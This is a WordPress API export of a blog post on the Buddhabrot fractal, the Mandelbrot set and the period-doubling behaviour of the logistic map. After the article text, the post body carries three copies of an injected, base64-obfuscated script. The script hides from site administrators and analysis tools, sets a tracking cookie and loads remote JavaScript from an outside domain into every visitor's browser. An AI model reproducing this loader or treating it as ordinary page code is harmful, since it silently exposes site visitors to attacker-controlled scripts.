{"id":1522,"date":"2020-03-06T11:00:39","date_gmt":"2020-03-06T19:00:39","guid":{"rendered":"https:\/\/blog.ronrecord.com\/?p=1522"},"modified":"2025-10-02T10:32:45","modified_gmt":"2025-10-02T17:32:45","slug":"the-buddhabrot-fractal-mandelbrot-set-and-the-logistic-map","status":"publish","type":"post","link":"https:\/\/blog.ronrecord.com\/index.php\/2020\/03\/06\/the-buddhabrot-fractal-mandelbrot-set-and-the-logistic-map\/","title":{"rendered":"The Buddhabrot Fractal, Mandelbrot Set, and The Logistic Map"},"content":{"rendered":"\n<p>The&nbsp;<strong>Buddhabrot<\/strong>&nbsp;is a&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Fractal\">fractal<\/a>&nbsp;rendering technique related to the&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Mandelbrot_set\">Mandelbrot set<\/a>. Its name reflects its&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Pareidolia\">pareidolic<\/a>&nbsp;resemblance to classical depictions of&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Gautama_Buddha\">Gautama Buddha<\/a>, seated in a meditation pose with a forehead mark (<em><a href=\"https:\/\/en.wikipedia.org\/wiki\/Tikka_(forehead_mark)\">tikka<\/a><\/em>) and traditional topknot (<em><a href=\"https:\/\/en.wikipedia.org\/wiki\/Ushnisha\">ushnisha<\/a><\/em>).<\/p>\n\n\n\n[embedyt] https:\/\/www.youtube.com\/watch?v=zxIcydL7wwY[\/embedyt]\n\n\n\n<p>The&nbsp;<em>Buddhabrot<\/em>&nbsp;rendering technique was discovered by Melinda Green (then known as Dan Green), who later described it in a 1993&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Usenet\">Usenet<\/a>&nbsp;post to sci.fractals.<sup><a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Buddhabrot#cite_note-sci-2\">[<\/a><\/sup><\/p>\n\n\n\n<p>Previous researchers had come very close to finding the precise Buddhabrot technique. In 1988, Linas Vepstas relayed similar images<sup><a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Buddhabrot#cite_note-3\">[<\/a><\/sup>&nbsp;to&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Cliff_Pickover\">Cliff Pickover<\/a>&nbsp;for inclusion in Pickover&#8217;s then-forthcoming book&nbsp;<em>Computers, Pattern, Chaos, and Beauty<\/em>. This led directly to the discovery of&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Pickover_stalks\">Pickover stalks<\/a>. However, these researchers did not filter out non-escaping trajectories required to produce the ghostly forms reminiscent of Hindu art. The inverse, &#8220;Anti-Buddhabrot&#8221; filter produces images similar to no filtering.<\/p>\n\n\n\n<p>Green first named this pattern Ganesh, since an Indian co-worker &#8220;instantly recognized it as the god &#8216;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Ganesha\">Ganesha<\/a>&#8216; which is the one with the head of an elephant.&#8221;<sup><a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Buddhabrot#cite_note-sci-2\">[<\/a><\/sup>&nbsp;The name&nbsp;<em>Buddhabrot<\/em>&nbsp;was coined later by Lori Gardi.<\/p>\n\n\n\n<p>Here is a video by YouTube user Mathologer describing, in a somewhat cheezy fashion, some of the interesting mathematics involved in depicting both the Mandelbrot halo used to generate the Buddhabrot and the complexity within the Mandelbrot Set itself.<\/p>\n\n\n\n[embedyt] https:\/\/www.youtube.com\/watch?v=9gk_8mQuerg[\/embedyt]\n\n\n\n<p>Some of what YouTube user Mathologer presented in the video above is the beginnings of describing the close relationship between the Mandelbrot Set and the <strong><a href=\"https:\/\/en.wikipedia.org\/wiki\/Logistic_map\">Logistic Map.<\/a><\/strong><\/p>\n\n\n\n<p>The&nbsp;<strong>logistic map<\/strong>&nbsp;is a&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Polynomial\">polynomial<\/a>&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Map_(mathematics)\">mapping<\/a>&nbsp;(equivalently,&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Recurrence_relation\">recurrence relation<\/a>) of&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Quadratic_function\">degree 2<\/a>, often cited as an archetypal example of how complex,&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Chaos_theory\">chaotic<\/a>&nbsp;behaviour can arise from very simple&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Non-linear\">non-linear<\/a>dynamical equations. The map was popularized in a 1976 paper by the biologist&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Robert_May,_Baron_May_of_Oxford\">Robert May<\/a>, in part as a discrete-time demographic model analogous to the&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Logistic_function#Logistic_differential_equation\">logistic equation<\/a>&nbsp;first created by&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Pierre_Fran%C3%A7ois_Verhulst\">Pierre Fran\u00e7ois Verhulst<\/a>.<sup><a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Logistic_map#cite_note-3\">[<\/a><\/sup>&nbsp;Mathematically, the logistic map is written<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img src=\"https:\/\/cdn-images-1.medium.com\/max\/1600\/1*6x1wv0jyYDNrvgUja3TDRg.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>where&nbsp;<em>x<sub>n<\/sub><\/em>&nbsp;is a number between zero and one that represents the ratio of existing population to the maximum possible population. The values of interest for the parameter&nbsp;<em>r<\/em>&nbsp;(sometimes also denoted&nbsp;<em>\u03bc<\/em>) are those in the interval&nbsp;[0,4]. This nonlinear difference equation is intended to capture two effects:<\/p>\n\n\n\n<ul><li><em>reproduction<\/em> where the population will increase at a rate proportional <a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Proportionality_(mathematics)\">p<\/a>to the current population when the population size is small.<\/li><li><em>starvation<\/em>&nbsp;(density-dependent mortality) where the growth rate will decrease at a rate proportional to the value obtained by taking the theoretical &#8220;carrying capacity&#8221; of the environment less the current population.<\/li><\/ul>\n\n\n\n<p>Here we see an animation depicting the Buddhabrot and its logistic map.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><a href=\"https:\/\/commons.wikimedia.org\/wiki\/File:Buddhabrot_logistic_map_animation.gif\"><img loading=\"lazy\" src=\"https:\/\/upload.wikimedia.org\/wikipedia\/commons\/8\/8e\/Buddhabrot_logistic_map_animation.gif\" alt=\"Buddhabrot logistic map animation\" width=\"470\" height=\"586\"\/><\/a><\/figure><\/div>\n\n\n\n<p>By varying the parameter&nbsp;<em>r<\/em>, the following behavior is observed:<\/p>\n\n\n\n<ul><li>With&nbsp;<em>r<\/em>&nbsp;between 0 and 1, the population will eventually die, independent of the initial population.<\/li><li>With&nbsp;<em>r<\/em>&nbsp;between 1 and 2, the population will quickly approach the value&nbsp;<em>r<\/em>&nbsp;\u2212 1\/<em>r<\/em>, independent of the initial population.<\/li><li>With&nbsp;<em>r<\/em>&nbsp;between 2 and 3, the population will also eventually approach the same value&nbsp;<em>r<\/em>&nbsp;\u2212 1\/<em>r<\/em>, but first will fluctuate around that value for some time. The&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Rate_of_convergence\">rate of convergence<\/a>&nbsp;is linear, except for&nbsp;<em>r<\/em>&nbsp;= 3, when it is dramatically slow, less than linear (see&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Bifurcation_memory\">Bifurcation memory<\/a>).<\/li><li>With&nbsp;<em>r<\/em>&nbsp;between 3 and 1&nbsp;+&nbsp;\u221a6&nbsp;\u2248 3.44949, from&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Almost_all\">almost all<\/a>&nbsp;initial conditions the population will approach permanent oscillations between two values. These two values are dependent on&nbsp;<em>r<\/em>.<\/li><li>With&nbsp;<em>r<\/em>&nbsp;between 3.44949 and 3.54409 (approximately), from almost all initial conditions the population will approach permanent oscillations among four values. The latter number is a root of a 12th degree polynomial (sequence&nbsp;<a data-external=\"true\" href=\"https:\/\/oeis.org\/A086181\">A086181<\/a>&nbsp;in the&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/On-Line_Encyclopedia_of_Integer_Sequences\">OEIS<\/a>).<\/li><li>With&nbsp;<em>r<\/em>&nbsp;increasing beyond 3.54409, from almost all initial conditions the population will approach oscillations among 8 values, then 16, 32, etc. The lengths of the parameter intervals that yield oscillations of a given length decrease rapidly; the ratio between the lengths of two successive bifurcation intervals approaches the&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Feigenbaum_constant\">Feigenbaum constant<\/a>&nbsp;<em>\u03b4<\/em>&nbsp;\u2248 4.66920. This behavior is an example of a&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Period-doubling_bifurcation\">period-doubling cascade<\/a>.<\/li><li>At&nbsp;<em>r<\/em>&nbsp;\u2248 3.56995&nbsp;(sequence&nbsp;<a data-external=\"true\" href=\"https:\/\/oeis.org\/A098587\">A098587<\/a>&nbsp;in the&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/On-Line_Encyclopedia_of_Integer_Sequences\">OEIS<\/a>) is the onset of chaos, at the end of the period-doubling cascade. From almost all initial conditions, we no longer see oscillations of finite period. Slight variations in the initial population yield dramatically different results over time, a prime characteristic of chaos.<\/li><li>Most values of&nbsp;<em>r<\/em>&nbsp;beyond 3.56995 exhibit chaotic behaviour, but there are still certain isolated ranges of&nbsp;<em>r<\/em>&nbsp;that show non-chaotic behavior; these are sometimes called&nbsp;<em>islands of stability<\/em>. For instance, beginning at 1&nbsp;+&nbsp;\u221a8<sup><a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Logistic_map#cite_note-4\">[<\/a><\/sup>&nbsp;(approximately 3.82843) there is a range of parameters&nbsp;<em>r<\/em>&nbsp;that show oscillation among three values, and for slightly higher values of&nbsp;<em>r<\/em>&nbsp;oscillation among 6 values, then 12 etc.<\/li><li>The development of the chaotic behavior of the logistic sequence as the parameter&nbsp;<em>r<\/em>&nbsp;varies from approximately 3.56995 to approximately 3.82843 is sometimes called the&nbsp;<a data-external=\"true\" href=\"https:\/\/en.wikipedia.org\/wiki\/Pomeau%E2%80%93Manneville_scenario\">Pomeau\u2013Manneville scenario<\/a>, characterized by a periodic (laminar) phase interrupted by bursts of aperiodic behavior. Such a scenario has an application in semiconductor devices. There are other ranges that yield oscillation among 5 values etc.; all oscillation periods occur for some values of&nbsp;<em>r<\/em>. A&nbsp;<em>period-doubling window<\/em>&nbsp;with parameter&nbsp;<em>c<\/em>&nbsp;is a range of&nbsp;<em>r<\/em>-values consisting of a succession of subranges. The&nbsp;<em>k<\/em>th subrange contains the values of&nbsp;<em>r<\/em>&nbsp;for which there is a stable cycle (a cycle that attracts a set of initial points of unit measure) of period&nbsp;2<sup><em>k<\/em><\/sup><em>c<\/em>. This sequence of sub-ranges is called a&nbsp;<em>cascade of harmonics<\/em>. In a sub-range with a stable cycle of period&nbsp;2<sup><em>k<\/em>*<\/sup><em>c<\/em>, there are unstable cycles of period&nbsp;2<sup><em>k<\/em><\/sup><em>c<\/em>&nbsp;for all&nbsp;<em>k<\/em>&nbsp;&lt;&nbsp;<em>k<\/em>*. The&nbsp;<em>r<\/em>&nbsp;value at the end of the infinite sequence of sub-ranges is called the&nbsp;<em>point of accumulation<\/em>&nbsp;of the cascade of harmonics. As&nbsp;<em>r<\/em>&nbsp;rises there is a succession of new windows with different&nbsp;<em>c<\/em>&nbsp;values. The first one is for&nbsp;<em>c<\/em>&nbsp;= 1; all subsequent windows involving odd&nbsp;<em>c<\/em>&nbsp;occur in decreasing order of&nbsp;<em>c<\/em>&nbsp;starting with arbitrarily large&nbsp;<em>c<\/em>.<\/li><li>Beyond&nbsp;<em>r<\/em>&nbsp;= 4, almost all initial values eventually leave the interval&nbsp;[0,1]&nbsp;and diverge.<\/li><\/ul>\n\n\n\n<div style=\"height:69px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n[embed-vi-ad]\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>The&nbsp;Buddhabrot&nbsp;is a&nbsp;fractal&nbsp;rendering technique related to the&nbsp;Mandelbrot set. Its name reflects its&nbsp;pareidolic&nbsp;resemblance to classical depictions of&nbsp;Gautama Buddha, seated in a meditation pose with a forehead mark (tikka) and traditional topknot (ushnisha).&hellip; <\/p>\n","protected":false},"author":1,"featured_media":1528,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[479,101,100,176],"tags":[306,667,670,307],"_links":{"self":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1522"}],"collection":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/comments?post=1522"}],"version-history":[{"count":8,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1522\/revisions"}],"predecessor-version":[{"id":6579,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/1522\/revisions\/6579"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media\/1528"}],"wp:attachment":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media?parent=1522"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/categories?post=1522"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/tags?post=1522"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}